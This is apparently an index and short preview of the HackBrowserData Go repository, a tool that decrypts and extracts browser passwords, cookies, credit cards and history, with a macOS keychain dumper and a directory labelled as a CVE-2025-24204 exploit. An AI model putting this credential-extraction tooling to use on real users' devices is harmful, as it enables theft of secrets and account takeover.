    method Decrypt (line 180) | func (l loginPBE) Decrypt(globalSalt []byte) ([]byte, error) {
    method Encrypt (line 197) | func (l loginPBE) Encrypt(globalSalt, plaintext []byte) ([]byte, error) {
    method deriveKeyAndIV (line 215) | func (l loginPBE) deriveKeyAndIV(globalSalt []byte) ([]byte, []byte) {

FILE: crypto/asn1pbe_test.go
  function TestNewASN1PBE (line 74) | func TestNewASN1PBE(t *testing.T) {
  function TestNssPBE_Encrypt (line 89) | func TestNssPBE_Encrypt(t *testing.T) {
  function TestNssPBE_Decrypt (line 117) | func TestNssPBE_Decrypt(t *testing.T) {
  function TestNewASN1PBE_MetaPBE (line 145) | func TestNewASN1PBE_MetaPBE(t *testing.T) {
  function TestMetaPBE_Encrypt (line 159) | func TestMetaPBE_Encrypt(t *testing.T) {
  function TestMetaPBE_Decrypt (line 202) | func TestMetaPBE_Decrypt(t *testing.T) {
  function TestNewASN1PBE_LoginPBE (line 245) | func TestNewASN1PBE_LoginPBE(t *testing.T) {
  function TestLoginPBE_Encrypt (line 259) | func TestLoginPBE_Encrypt(t *testing.T) {
  function TestLoginPBE_Decrypt (line 279) | func TestLoginPBE_Decrypt(t *testing.T) {

FILE: crypto/crypto.go
  function AES128CBCDecrypt (line 19) | func AES128CBCDecrypt(key, iv, ciphertext []byte) ([]byte, error) {
  function AES128CBCEncrypt (line 45) | func AES128CBCEncrypt(key, iv, plaintext []byte) ([]byte, error) {
  function DES3Decrypt (line 63) | func DES3Decrypt(key, iv, ciphertext []byte) ([]byte, error) {
  function DES3Encrypt (line 82) | func DES3Encrypt(key, iv, plaintext []byte) ([]byte, error) {
  function AESGCMDecrypt (line 97) | func AESGCMDecrypt(key, nounce, ciphertext []byte) ([]byte, error) {
  function AESGCMEncrypt (line 114) | func AESGCMEncrypt(key, nonce, plaintext []byte) ([]byte, error) {
  function paddingZero (line 129) | func paddingZero(src []byte, length int) []byte {
  function pkcs5UnPadding (line 137) | func pkcs5UnPadding(src []byte) ([]byte, error) {
  function pkcs5Padding (line 157) | func pkcs5Padding(src []byte, blocksize int) []byte {

FILE: crypto/crypto_darwin.go
  function DecryptWithChromium (line 9) | func DecryptWithChromium(key, password []byte) ([]byte, error) {
  function DecryptWithDPAPI (line 17) | func DecryptWithDPAPI(_ []byte) ([]byte, error) {

FILE: crypto/crypto_linux.go
  function DecryptWithChromium (line 5) | func DecryptWithChromium(key, encryptPass []byte) ([]byte, error) {
  function DecryptWithDPAPI (line 13) | func DecryptWithDPAPI(_ []byte) ([]byte, error) {

FILE: crypto/crypto_test.go
  constant baseKey (line 13) | baseKey = "moond4rk"
  function TestAES128CBCEncrypt (line 29) | func TestAES128CBCEncrypt(t *testing.T) {
  function TestAES128CBCDecrypt (line 36) | func TestAES128CBCDecrypt(t *testing.T) {
  function TestDES3Encrypt (line 44) | func TestDES3Encrypt(t *testing.T) {
  function TestDES3Decrypt (line 51) | func TestDES3Decrypt(t *testing.T) {
  function TestAESGCMEncrypt (line 59) | func TestAESGCMEncrypt(t *testing.T) {
  function TestAESGCMDecrypt (line 66) | func TestAESGCMDecrypt(t *testing.T) {

FILE: crypto/crypto_windows.go
  constant minEncryptedDataSize (line 13) | minEncryptedDataSize = 15
  constant nonceSize (line 14) | nonceSize            = 12
  function DecryptWithChromium (line 17) | func DecryptWithChromium(key, ciphertext []byte) ([]byte, error) {
  function DecryptWithYandex (line 29) | func DecryptWithYandex(key, ciphertext []byte) ([]byte, error) {
  type dataBlob (line 43) | type dataBlob struct
    method bytes (line 58) | func (b *dataBlob) bytes() []byte {
  function newBlob (line 48) | func newBlob(d []byte) *dataBlob {
  function DecryptWithDPAPI (line 68) | func DecryptWithDPAPI(ciphertext []byte) ([]byte, error) {

FILE: crypto/pbkdf2.go
  function PBKDF2Key (line 25) | func PBKDF2Key(password, salt []byte, iter, keyLen int, h func() hash.Ha...

FILE: extractor/extractor.go
  type Extractor (line 4) | type Extractor interface

FILE: extractor/registration.go
  function RegisterExtractor (line 10) | func RegisterExtractor(dataType types.DataType, factoryFunc func() Extra...
  function CreateExtractor (line 15) | func CreateExtractor(dataType types.DataType) Extractor {

FILE: log/level/level.go
  type Level (line 4) | type Level
    method String (line 24) | func (l Level) String() string {
  constant DebugLevel (line 9) | DebugLevel Level = iota + 1
  constant WarnLevel (line 13) | WarnLevel
  constant ErrorLevel (line 17) | ErrorLevel
  constant FatalLevel (line 21) | FatalLevel

FILE: log/log.go
  function SetVerbose (line 12) | func SetVerbose() {
  function Debug (line 16) | func Debug(args ...any) {
  function Debugf (line 20) | func Debugf(format string, args ...any) {
  function Warn (line 24) | func Warn(args ...any) {
  function Warnf (line 28) | func Warnf(format string, args ...any) {
  function Error (line 32) | func Error(args ...any) {
  function Errorf (line 36) | func Errorf(format string, args ...any) {
  function Fatal (line 40) | func Fatal(args ...any) {
  function Fatalf (line 44) | func Fatalf(format string, args ...any) {

FILE: log/logger.go
  function NewLogger (line 17) | func NewLogger(base Base) *Logger {
  type Logger (line 25) | type Logger struct
    method canLogAt (line 34) | func (l *Logger) canLogAt(v level.Level) bool {
    method SetLevel (line 40) | func (l *Logger) SetLevel(v level.Level) {
    method Debug (line 47) | func (l *Logger) Debug(args ...any) {
    method Warn (line 54) | func (l *Logger) Warn(args ...any) {
    method Error (line 61) | func (l *Logger) Error(args ...any) {
    method Fatal (line 68) | func (l *Logger) Fatal(args ...any) {
    method Debugf (line 75) | func (l *Logger) Debugf(format string, args ...any) {
    method Warnf (line 82) | func (l *Logger) Warnf(format string, args ...any) {
    method Errorf (line 89) | func (l *Logger) Errorf(format string, args ...any) {
    method Fatalf (line 96) | func (l *Logger) Fatalf(format string, args ...any) {
  type Base (line 103) | type Base interface
  type baseLogger (line 112) | type baseLogger struct
    method calculateCallDepth (line 127) | func (l *baseLogger) calculateCallDepth() int {
    method prefixPrint (line 131) | func (l *baseLogger) prefixPrint(prefix string, args ...any) {
    method getCallDepth (line 138) | func (l *baseLogger) getCallDepth() int {
    method isLoggerPackage (line 155) | func (l *baseLogger) isLoggerPackage(funcName string) bool {
    method Debug (line 161) | func (l *baseLogger) Debug(args ...any) {
    method Warn (line 166) | func (l *baseLogger) Warn(args ...any) {
    method Error (line 171) | func (l *baseLogger) Error(args ...any) {
    method Fatal (line 179) | func (l *baseLogger) Fatal(args ...any) {
  function newBase (line 117) | func newBase(out io.Writer) *baseLogger {

FILE: log/logger_test.go
  constant pattern (line 14) | pattern = `^\[hack\-browser\-data] \w+\.go:\d+:`
  type baseTestCase (line 17) | type baseTestCase struct
  function TestLoggerDebug (line 40) | func TestLoggerDebug(t *testing.T) {
  function TestLoggerWarn (line 57) | func TestLoggerWarn(t *testing.T) {
  function TestLoggerError (line 73) | func TestLoggerError(t *testing.T) {
  function TestLoggerFatal (line 89) | func TestLoggerFatal(t *testing.T) {
  type formatTestCase (line 116) | type formatTestCase struct
  function TestLoggerDebugf (line 144) | func TestLoggerDebugf(t *testing.T) {
  function TestLoggerWarnf (line 161) | func TestLoggerWarnf(t *testing.T) {
  function TestLoggerErrorf (line 177) | func TestLoggerErrorf(t *testing.T) {
  function TestLoggerFatalf (line 193) | func TestLoggerFatalf(t *testing.T) {
  function TestLoggerWithLowerLevels (line 219) | func TestLoggerWithLowerLevels(t *testing.T) {

FILE: types/types.go
  type DataType (line 9) | type DataType
    method String (line 63) | func (i DataType) String() string {
    method Filename (line 116) | func (i DataType) Filename() string {
    method TempFilename (line 125) | func (i DataType) TempFilename() string {
    method IsSensitive (line 133) | func (i DataType) IsSensitive() bool {
  constant ChromiumKey (line 12) | ChromiumKey DataType = iota
  constant ChromiumPassword (line 13) | ChromiumPassword
  constant ChromiumCookie (line 14) | ChromiumCookie
  constant ChromiumBookmark (line 15) | ChromiumBookmark
  constant ChromiumHistory (line 16) | ChromiumHistory
  constant ChromiumDownload (line 17) | ChromiumDownload
  constant ChromiumCreditCard (line 18) | ChromiumCreditCard
  constant ChromiumLocalStorage (line 19) | ChromiumLocalStorage
  constant ChromiumSessionStorage (line 20) | ChromiumSessionStorage
  constant ChromiumExtension (line 21) | ChromiumExtension
  constant YandexPassword (line 23) | YandexPassword
  constant YandexCreditCard (line 24) | YandexCreditCard
  constant FirefoxKey4 (line 26) | FirefoxKey4
  constant FirefoxPassword (line 27) | FirefoxPassword
  constant FirefoxCookie (line 28) | FirefoxCookie
  constant FirefoxBookmark (line 29) | FirefoxBookmark
  constant FirefoxHistory (line 30) | FirefoxHistory
  constant FirefoxDownload (line 31) | FirefoxDownload
  constant FirefoxCreditCard (line 32) | FirefoxCreditCard
  constant FirefoxLocalStorage (line 33) | FirefoxLocalStorage
  constant FirefoxSessionStorage (line 34) | FirefoxSessionStorage
  constant FirefoxExtension (line 35) | FirefoxExtension
  function FilterSensitiveItems (line 145) | func FilterSensitiveItems(items []DataType) []DataType {
  constant fileChromiumKey (line 199) | fileChromiumKey            = "Local State"
  constant fileChromiumCredit (line 200) | fileChromiumCredit         = "Web Data"
  constant fileChromiumPassword (line 201) | fileChromiumPassword       = "Login Data"
  constant fileChromiumHistory (line 202) | fileChromiumHistory        = "History"
  constant fileChromiumDownload (line 203) | fileChromiumDownload       = "History"
  constant fileChromiumCookie (line 204) | fileChromiumCookie         = "Cookies"
  constant fileChromiumBookmark (line 205) | fileChromiumBookmark       = "Bookmarks"
  constant fileChromiumLocalStorage (line 206) | fileChromiumLocalStorage   = "Local Storage/leveldb"
  constant fileChromiumSessionStorage (line 207) | fileChromiumSessionStorage = "Session Storage"
  constant fileChromiumExtension (line 208) | fileChromiumExtension      = "Secure Preferences"
  constant fileYandexPassword (line 210) | fileYandexPassword = "Ya Passman Data"
  constant fileYandexCredit (line 211) | fileYandexCredit   = "Ya Credit Cards"
  constant fileFirefoxKey4 (line 213) | fileFirefoxKey4         = "key4.db"
  constant fileFirefoxCookie (line 214) | fileFirefoxCookie       = "cookies.sqlite"
  constant fileFirefoxPassword (line 215) | fileFirefoxPassword     = "logins.json"
  constant fileFirefoxData (line 216) | fileFirefoxData         = "places.sqlite"
  constant fileFirefoxLocalStorage (line 217) | fileFirefoxLocalStorage = "webappsstore.sqlite"
  constant fileFirefoxExtension (line 218) | fileFirefoxExtension    = "extensions.json"
  constant UnsupportedItem (line 220) | UnsupportedItem = "unsupported item"

FILE: types/types_test.go
  function TestDataType_FileName (line 12) | func TestDataType_FileName(t *testing.T) {
  function TestDataType_TempFilename (line 24) | func TestDataType_TempFilename(t *testing.T) {
  function TestDataType_IsSensitive (line 48) | func TestDataType_IsSensitive(t *testing.T) {
  function TestFilterSensitiveItems (line 63) | func TestFilterSensitiveItems(t *testing.T) {
  method filename (line 82) | func (i DataType) filename() string {

FILE: utils/chainbreaker/chainbreaker.go
  constant atomSize (line 21) | atomSize                         = 4
  constant headerSize (line 22) | headerSize                       = 20
  constant schemaSize (line 23) | schemaSize                       = 8
  constant tableHeaderSize (line 24) | tableHeaderSize                  = 28
  constant keyBlobRecordHeaderSize (line 25) | keyBlobRecordHeaderSize          = 132
  constant keyBlobStructSize (line 26) | keyBlobStructSize                = 24
  constant genericPasswordHeaderSize (line 27) | genericPasswordHeaderSize        = 22 * 4
  constant blockSize (line 28) | blockSize                        = 8
  constant keyLength (line 29) | keyLength                        = 24
  constant metadataOffsetAdjustment (line 30) | metadataOffsetAdjustment         = 0x38
  constant keyBlobMagic (line 31) | keyBlobMagic              uint32 = 0xFADE0711
  constant keychainSignature (line 32) | keychainSignature                = "kych"
  constant secureStorageGroup (line 33) | secureStorageGroup               = "ssgp"
  constant keychainLockedSignature (line 34) | keychainLockedSignature          = "[Invalid Password / Keychain Locked]"
  constant cssmDBRecordTypeAppDefinedStart (line 38) | cssmDBRecordTypeAppDefinedStart uint32 = 0x80000000
  constant cssmGenericPassword (line 39) | cssmGenericPassword                    = cssmDBRecordTypeAppDefinedStart...
  constant cssmMetadata (line 40) | cssmMetadata                           = cssmDBRecordTypeAppDefinedStart...
  constant cssmDBRecordTypeOpenGroupStart (line 41) | cssmDBRecordTypeOpenGroupStart  uint32 = 0x0000000A
  constant cssmSymmetricKey (line 42) | cssmSymmetricKey                       = cssmDBRecordTypeOpenGroupStart + 7
  constant dbBlobSize (line 45) | dbBlobSize = 92
  type Keychain (line 49) | type Keychain struct
    method buildTableIndex (line 264) | func (kc *Keychain) buildTableIndex() error {
    method getTableOffset (line 283) | func (kc *Keychain) getTableOffset(tableID uint32) (uint32, error) {
    method getTableFromType (line 291) | func (kc *Keychain) getTableFromType(tableID uint32) (tableHeader, []u...
    method getTable (line 299) | func (kc *Keychain) getTable(offset uint32) (tableHeader, []uint32, er...
    method findWrappingKey (line 329) | func (kc *Keychain) findWrappingKey(master []byte) ([]byte, error) {
    method generateKeyList (line 345) | func (kc *Keychain) generateKeyList() error {
    method getKeyblobRecord (line 367) | func (kc *Keychain) getKeyblobRecord(recordOffset uint32) ([]byte, []b...
    method getBaseAddress (line 428) | func (kc *Keychain) getBaseAddress(tableID uint32, offset uint32) (int...
    method DumpGenericPasswords (line 505) | func (kc *Keychain) DumpGenericPasswords() ([]genericPassword, error) {
    method parseGenericPasswordRecord (line 521) | func (kc *Keychain) parseGenericPasswordRecord(recordOffset uint32) (g...
    method extractSSGP (line 584) | func (kc *Keychain) extractSSGP(header genericPasswordHeader, buffer [...
    method readKeychainTime (line 629) | func (kc *Keychain) readKeychainTime(base int, ptr uint32) string {
    method readFourChar (line 648) | func (kc *Keychain) readFourChar(base int, ptr uint32) string {
    method readLV (line 659) | func (kc *Keychain) readLV(base int, ptr uint32) string {
  type applDBHeader (line 60) | type applDBHeader struct
  type applDBSchema (line 68) | type applDBSchema struct
  type tableHeader (line 73) | type tableHeader struct
  type dbBlob (line 83) | type dbBlob struct
  type keyBlobRecordHeader (line 90) | type keyBlobRecordHeader struct
  type keyBlob (line 94) | type keyBlob struct
  type genericPasswordHeader (line 101) | type genericPasswordHeader struct
  type ssgpBlock (line 116) | type ssgpBlock struct
  type genericPassword (line 123) | type genericPassword struct
  function New (line 137) | func New(path, unlockHex string) (*Keychain, error) {
  function parseHeader (line 203) | func parseHeader(buf []byte) (applDBHeader, error) {
  function parseSchema (line 216) | func parseSchema(buf []byte, offset uint32) (applDBSchema, []uint32, err...
  function parseDBBlob (line 237) | func parseDBBlob(buf []byte) (dbBlob, error) {
  function decodeUnlockKey (line 251) | func decodeUnlockKey(hexKey string) ([]byte, error) {
  function parseKeyBlob (line 416) | func parseKeyBlob(buf []byte) (keyBlob, error) {
  function keyblobDecryption (line 447) | func keyblobDecryption(encryptedblob, iv, dbkey []byte) ([]byte, error) {
  function kcdecrypt (line 476) | func kcdecrypt(key, iv, data []byte) ([]byte, error) {
  function parseGenericPasswordHeader (line 558) | func parseGenericPasswordHeader(buf []byte) (genericPasswordHeader, erro...
  function parseSSGP (line 602) | func parseSSGP(buf []byte) (*ssgpBlock, error) {
  function decryptSSGP (line 615) | func decryptSSGP(block *ssgpBlock, dbkey []byte) (string, bool) {
  function maskedPointer (line 679) | func maskedPointer(value uint32) int {
  function alignToWord (line 683) | func alignToWord(value int) int {
  function readASCII (line 690) | func readASCII(buf []byte, start, length int) string {

FILE: utils/chainbreaker/chainbreaker_test.go
  function TestUnlockKeychain (line 7) | func TestUnlockKeychain(t *testing.T) {

FILE: utils/fileutil/filetutil.go
  function IsFileExists (line 15) | func IsFileExists(filename string) bool {
  function IsDirExists (line 27) | func IsDirExists(folder string) bool {
  function ReadFile (line 39) | func ReadFile(filename string) (string, error) {
  function CopyDir (line 46) | func CopyDir(src, dst, skip string) error {
  function CopyFile (line 54) | func CopyFile(src, dst string) error {
  function Filename (line 67) | func Filename(browser, dataType, ext string) string {
  function BrowserName (line 72) | func BrowserName(browser, user string) string {
  function ParentDir (line 78) | func ParentDir(p string) string {
  function BaseDir (line 83) | func BaseDir(p string) string {
  function ParentBaseDir (line 88) | func ParentBaseDir(p string) string {
  function CompressDir (line 93) | func CompressDir(dir string) error {
  function addFileToZip (line 123) | func addFileToZip(zw *zip.Writer, filename string) error {
  function writeFile (line 145) | func writeFile(buffer *bytes.Buffer, filename string) error {

FILE: utils/fileutil/fileutil_test.go
  function setupTestDir (line 12) | func setupTestDir(t *testing.T, files []string) string {
  function TestCompressDir (line 26) | func TestCompressDir(t *testing.T) {

FILE: utils/typeutil/typeutil.go
  function Keys (line 8) | func Keys[K comparable, V any](m map[K]V) []K {
  type Signed (line 19) | type Signed interface
  function IntToBool (line 23) | func IntToBool[T Signed](a T) bool {
  function Reverse (line 31) | func Reverse[T any](s []T) []T {
  function TimeStamp (line 39) | func TimeStamp(stamp int64) time.Time {
  function TimeEpoch (line 47) | func TimeEpoch(epoch int64) time.Time {

FILE: utils/typeutil/typeutil_test.go
  function TestReverse (line 7) | func TestReverse(t *testing.T) {
Condensed preview — 73 files, each showing path, character count, and a content snippet. Download the .json file or copy for the full structured content (249K chars).
[
  {
    "path": ".github/ISSUE_TEMPLATE/bug_report.md",
    "chars": 1105,
    "preview": "---\nname: Bug report\nabout: Create a report to help us improve\ntitle: ''\nlabels: bug\nassignees: ''\n\n---\n\n## Describe the"
  },
  {
    "path": ".github/ISSUE_TEMPLATE/feature_request.md",
    "chars": 608,
    "preview": "---\nname: Feature Request\nabout: Suggest an idea for this project\ntitle: ''\nlabels: enhancement\nassignees: ''\n\n---\n\n## F"
  },
  {
    "path": ".github/PULL_REQUEST_TEMPLATE.md",
    "chars": 812,
    "preview": "## Proposed changes\n\n<!-- Describe the overall picture of your modifications to help maintainers understand the pull req"
  },
  {
    "path": ".github/dependabot.yml",
    "chars": 404,
    "preview": "version: 2\nupdates:\n  - package-ecosystem: \"gomod\"\n    directory: \"/\"\n    schedule:\n      interval: \"weekly\"\n    open-pu"
  },
  {
    "path": ".github/release-drafter.yml",
    "chars": 575,
    "preview": "name-template: 'hack-browser-data-$RESOLVED_VERSION'\ntag-template: 'v$RESOLVED_VERSION'\ncategories:\n  - title: '🚀 Featur"
  },
  {
    "path": ".github/workflows/build.yml",
    "chars": 1109,
    "preview": "name: Build\n\non:\n  push:\n    branches:\n      - main\n  pull_request:\n  workflow_dispatch:\n\njobs:\n  build:\n    name: Build"
  },
  {
    "path": ".github/workflows/contributors.yml",
    "chars": 433,
    "preview": "name: Contributors\non:\n  schedule:\n    - cron: '0 1 * * 0' # At 01:00 on Sunday.\n  push:\n    branches:\n      - main\n  wo"
  },
  {
    "path": ".github/workflows/lint.yml",
    "chars": 682,
    "preview": "name: Lint\non:\n  push:\n    branches:\n      - main\n  pull_request:\n  workflow_dispatch:\njobs:\n  lint:\n    name: Lint\n    "
  },
  {
    "path": ".github/workflows/release.yml",
    "chars": 781,
    "preview": "name: Release\n\non:\n  workflow_dispatch:\n\npermissions:\n  contents: write\n  pull-requests: write\n\njobs:\n  goreleaser:\n    "
  },
  {
    "path": ".github/workflows/test.yml",
    "chars": 1157,
    "preview": "name: Tests\n\non:\n  pull_request:\n  push:\n    branches:\n      - main\n      - dev\n  workflow_dispatch:\n\njobs:\n  test:\n    "
  },
  {
    "path": ".gitignore",
    "chars": 2778,
    "preview": "# General\n.DS_Store\n.AppleDouble\n.LSOverride\n\n# Icon must end with two \\r\nIcon\n\n# Thumbnails\n._*\n\n# Files that might app"
  },
  {
    "path": ".golangci.yml",
    "chars": 7464,
    "preview": "# golangci-lint configuration\n# Compatible with golangci-lint v2.4+ and Go 1.20\n# This is a best practice starter config"
  },
  {
    "path": ".goreleaser.yml",
    "chars": 1289,
    "preview": "version: 2\n\nbefore:\n  hooks:\n    - go mod tidy\n\nbuilds:\n  - id: \"hack-browser-data\"\n    main: ./cmd/hack-browser-data/ma"
  },
  {
    "path": ".typos.toml",
    "chars": 245,
    "preview": "# See https://github.com/crate-ci/typos/blob/master/docs/reference.md to configure typos\n[default.extend-words]\nReaded ="
  },
  {
    "path": "CLAUDE.md",
    "chars": 9683,
    "preview": "# CLAUDE.md\n\nThis file provides guidance to Claude Code (claude.ai/code) when working with code in this repository.\n\n## "
  },
  {
    "path": "CODE_OF_CONDUCT.md",
    "chars": 5202,
    "preview": "# Contributor Covenant Code of Conduct\n\n## Our Pledge\n\nWe as members, contributors, and leaders pledge to make participa"
  },
  {
    "path": "CONTRIBUTING.md",
    "chars": 1330,
    "preview": "# Contributing to HackBrowserData\n\nWe appreciate your interest in contributing to the HackBrowserData! This document pro"
  },
  {
    "path": "LICENSE",
    "chars": 1065,
    "preview": "MIT License\n\nCopyright (c) 2020 ᴍᴏᴏɴᴅᴀʀᴋ\n\nPermission is hereby granted, free of charge, to any person obtaining a copy\no"
  },
  {
    "path": "README.md",
    "chars": 10529,
    "preview": "<div align=\"center\">\n<img src=\"LOGO.png\" alt=\"hack-browser-data logo\" width=\"440px\" />\n</div> \n\n# HackBrowserData\n\n[![Li"
  },
  {
    "path": "browser/browser.go",
    "chars": 3188,
    "preview": "package browser\n\nimport (\n\t\"path/filepath\"\n\t\"sort\"\n\t\"strings\"\n\n\t\"github.com/moond4rk/hackbrowserdata/browser/chromium\"\n\t"
  },
  {
    "path": "browser/browser_darwin.go",
    "chars": 3732,
    "preview": "//go:build darwin\n\npackage browser\n\nimport (\n\t\"github.com/moond4rk/hackbrowserdata/types\"\n)\n\nvar (\n\tchromiumList = map[s"
  },
  {
    "path": "browser/browser_linux.go",
    "chars": 2535,
    "preview": "//go:build linux\n\npackage browser\n\nimport (\n\t\"github.com/moond4rk/hackbrowserdata/types\"\n)\n\nvar (\n\tchromiumList = map[st"
  },
  {
    "path": "browser/browser_windows.go",
    "chars": 3593,
    "preview": "//go:build windows\n\npackage browser\n\nimport (\n\t\"github.com/moond4rk/hackbrowserdata/types\"\n)\n\nvar (\n\tchromiumList = map["
  },
  {
    "path": "browser/chromium/chromium.go",
    "chars": 4916,
    "preview": "package chromium\n\nimport (\n\t\"io/fs\"\n\t\"os\"\n\t\"path/filepath\"\n\t\"strings\"\n\n\t\"github.com/moond4rk/hackbrowserdata/browserdata"
  },
  {
    "path": "browser/chromium/chromium_darwin.go",
    "chars": 2179,
    "preview": "//go:build darwin\n\npackage chromium\n\nimport (\n\t\"bytes\"\n\t\"crypto/sha1\"\n\t\"errors\"\n\t\"fmt\"\n\t\"os\"\n\t\"os/exec\"\n\t\"strings\"\n\n\t\"gi"
  },
  {
    "path": "browser/chromium/chromium_linux.go",
    "chars": 1836,
    "preview": "//go:build linux\n\npackage chromium\n\nimport (\n\t\"crypto/sha1\"\n\t\"fmt\"\n\t\"os\"\n\n\t\"github.com/godbus/dbus/v5\"\n\tkeyring \"github."
  },
  {
    "path": "browser/chromium/chromium_windows.go",
    "chars": 1044,
    "preview": "//go:build windows\n\npackage chromium\n\nimport (\n\t\"encoding/base64\"\n\t\"errors\"\n\t\"os\"\n\n\t\"github.com/tidwall/gjson\"\n\n\t\"github"
  },
  {
    "path": "browser/consts.go",
    "chars": 553,
    "preview": "package browser\n\nimport (\n\t\"os\"\n)\n\n// home dir path for all platforms\nvar homeDir, _ = os.UserHomeDir()\n\nconst (\n\tchrome"
  },
  {
    "path": "browser/exploit/gcoredump/gcoredump.go",
    "chars": 5755,
    "preview": "//go:build darwin\n\npackage gcoredump\n\n// CVE-2025-24204\n// Logic ported from https://github.com/FFRI/CVE-2025-24204/tree"
  },
  {
    "path": "browser/firefox/firefox.go",
    "chars": 8087,
    "preview": "package firefox\n\nimport (\n\t\"bytes\"\n\t\"database/sql\"\n\t\"encoding/base64\"\n\t\"errors\"\n\t\"fmt\"\n\t\"io/fs\"\n\t\"os\"\n\t\"path/filepath\"\n\n"
  },
  {
    "path": "browser/firefox/firefox_test.go",
    "chars": 1056,
    "preview": "package firefox\n\nimport (\n\t\"testing\"\n\n\t\"github.com/DATA-DOG/go-sqlmock\"\n\t\"github.com/stretchr/testify/assert\"\n)\n\nfunc Te"
  },
  {
    "path": "browserdata/bookmark/bookmark.go",
    "chars": 3670,
    "preview": "package bookmark\n\nimport (\n\t\"database/sql\"\n\t\"os\"\n\t\"sort\"\n\t\"time\"\n\n\t\"github.com/tidwall/gjson\"\n\t_ \"modernc.org/sqlite\" //"
  },
  {
    "path": "browserdata/browserdata.go",
    "chars": 1727,
    "preview": "package browserdata\n\nimport (\n\t\"github.com/moond4rk/hackbrowserdata/extractor\"\n\t\"github.com/moond4rk/hackbrowserdata/log"
  },
  {
    "path": "browserdata/cookie/cookie.go",
    "chars": 4293,
    "preview": "package cookie\n\nimport (\n\t\"database/sql\"\n\t\"os\"\n\t\"sort\"\n\t\"time\"\n\n\t// import sqlite3 driver\n\t_ \"modernc.org/sqlite\"\n\n\t\"git"
  },
  {
    "path": "browserdata/creditcard/creditcard.go",
    "chars": 3603,
    "preview": "package creditcard\n\nimport (\n\t\"database/sql\"\n\t\"os\"\n\n\t// import sqlite3 driver\n\t_ \"modernc.org/sqlite\"\n\n\t\"github.com/moon"
  },
  {
    "path": "browserdata/download/download.go",
    "chars": 3587,
    "preview": "package download\n\nimport (\n\t\"database/sql\"\n\t\"os\"\n\t\"sort\"\n\t\"strings\"\n\t\"time\"\n\n\t\"github.com/tidwall/gjson\"\n\t_ \"modernc.org"
  },
  {
    "path": "browserdata/extension/extension.go",
    "chars": 4915,
    "preview": "package extension\n\nimport (\n\t\"fmt\"\n\t\"os\"\n\t\"strings\"\n\n\t\"github.com/tidwall/gjson\"\n\t\"golang.org/x/text/language\"\n\n\t\"github"
  },
  {
    "path": "browserdata/history/history.go",
    "chars": 3013,
    "preview": "package history\n\nimport (\n\t\"database/sql\"\n\t\"os\"\n\t\"sort\"\n\t\"time\"\n\n\t// import sqlite3 driver\n\t_ \"modernc.org/sqlite\"\n\n\t\"gi"
  },
  {
    "path": "browserdata/imports.go",
    "chars": 1069,
    "preview": "// Package browserdata is responsible for initializing all the necessary\n// components that handle different types of br"
  },
  {
    "path": "browserdata/localstorage/localstorage.go",
    "chars": 4045,
    "preview": "package localstorage\n\nimport (\n\t\"bytes\"\n\t\"database/sql\"\n\t\"fmt\"\n\t\"os\"\n\t\"strings\"\n\n\t\"github.com/syndtr/goleveldb/leveldb\"\n"
  },
  {
    "path": "browserdata/localstorage/localstorage_test.go",
    "chars": 2721,
    "preview": "package localstorage\n\nimport (\n\t\"testing\"\n\n\t\"github.com/stretchr/testify/assert\"\n\t\"golang.org/x/text/encoding/unicode\"\n)"
  },
  {
    "path": "browserdata/outputter.go",
    "chars": 1546,
    "preview": "package browserdata\n\nimport (\n\t\"encoding/csv\"\n\t\"encoding/json\"\n\t\"errors\"\n\t\"io\"\n\t\"os\"\n\t\"path/filepath\"\n\n\t\"github.com/goca"
  },
  {
    "path": "browserdata/outputter_test.go",
    "chars": 424,
    "preview": "package browserdata\n\nimport (\n\t\"os\"\n\t\"testing\"\n)\n\nfunc TestNewOutPutter(t *testing.T) {\n\tt.Parallel()\n\tout := newOutPutt"
  },
  {
    "path": "browserdata/password/password.go",
    "chars": 5895,
    "preview": "package password\n\nimport (\n\t\"database/sql\"\n\t\"encoding/base64\"\n\t\"os\"\n\t\"sort\"\n\t\"time\"\n\n\t\"github.com/tidwall/gjson\"\n\t_ \"mod"
  },
  {
    "path": "browserdata/sessionstorage/sessionstorage.go",
    "chars": 4266,
    "preview": "package sessionstorage\n\nimport (\n\t\"bytes\"\n\t\"database/sql\"\n\t\"fmt\"\n\t\"os\"\n\t\"strings\"\n\n\t\"github.com/syndtr/goleveldb/leveldb"
  },
  {
    "path": "cmd/hack-browser-data/main.go",
    "chars": 2566,
    "preview": "package main\n\nimport (\n\t\"os\"\n\n\t\"github.com/urfave/cli/v2\"\n\n\t\"github.com/moond4rk/hackbrowserdata/browser\"\n\t\"github.com/m"
  },
  {
    "path": "crypto/asn1pbe.go",
    "chars": 5524,
    "preview": "package crypto\n\nimport (\n\t\"crypto/hmac\"\n\t\"crypto/sha1\"\n\t\"crypto/sha256\"\n\t\"encoding/asn1\"\n\t\"errors\"\n)\n\ntype ASN1PBE inter"
  },
  {
    "path": "crypto/asn1pbe_test.go",
    "chars": 8685,
    "preview": "package crypto\n\nimport (\n\t\"bytes\"\n\t\"encoding/asn1\"\n\t\"encoding/hex\"\n\t\"testing\"\n\n\t\"github.com/stretchr/testify/assert\"\n)\n\n"
  },
  {
    "path": "crypto/crypto.go",
    "chars": 4648,
    "preview": "package crypto\n\nimport (\n\t\"bytes\"\n\t\"crypto/aes\"\n\t\"crypto/cipher\"\n\t\"crypto/des\"\n\t\"errors\"\n\t\"fmt\"\n)\n\nvar ErrCiphertextLeng"
  },
  {
    "path": "crypto/crypto_darwin.go",
    "chars": 478,
    "preview": "//go:build darwin\n\npackage crypto\n\nimport \"errors\"\n\nvar ErrDarwinNotSupportDPAPI = errors.New(\"darwin not support dpapi\""
  },
  {
    "path": "crypto/crypto_linux.go",
    "chars": 376,
    "preview": "//go:build linux\n\npackage crypto\n\nfunc DecryptWithChromium(key, encryptPass []byte) ([]byte, error) {\n\tif len(encryptPas"
  },
  {
    "path": "crypto/crypto_test.go",
    "chars": 2148,
    "preview": "package crypto\n\nimport (\n\t\"bytes\"\n\t\"crypto/sha1\"\n\t\"encoding/hex\"\n\t\"fmt\"\n\t\"testing\"\n\n\t\"github.com/stretchr/testify/assert"
  },
  {
    "path": "crypto/crypto_windows.go",
    "chars": 2282,
    "preview": "//go:build windows\n\npackage crypto\n\nimport (\n\t\"fmt\"\n\t\"syscall\"\n\t\"unsafe\"\n)\n\nconst (\n\t// Assuming the nonce size is 12 by"
  },
  {
    "path": "crypto/pbkdf2.go",
    "chars": 1686,
    "preview": "package crypto\n\nimport (\n\t\"crypto/hmac\"\n\t\"hash\"\n)\n\n// PBKDF2Key derives a key from the password, salt and iteration coun"
  },
  {
    "path": "extractor/extractor.go",
    "chars": 182,
